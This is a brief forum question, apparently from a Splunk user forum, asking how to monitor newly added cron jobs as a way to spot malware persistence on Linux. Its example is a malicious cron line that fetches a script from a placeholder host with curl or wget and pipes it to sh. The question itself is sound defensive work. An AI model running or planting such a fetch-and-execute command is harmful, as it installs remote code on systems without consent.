how to use splunk monitor a cron job add action

[bestSplunker]

when some Trojans or virus  are implanted in the Linux OS. it will add cron job to  persist the Trojans .

for example:

curl -fsSL https://xxxx.com/raw/sByq0rym ||wget -q -0- https://xxx.com/raw/sByq0rym)|sh

so, can I use splunk to monitor  newly added  cron job ?
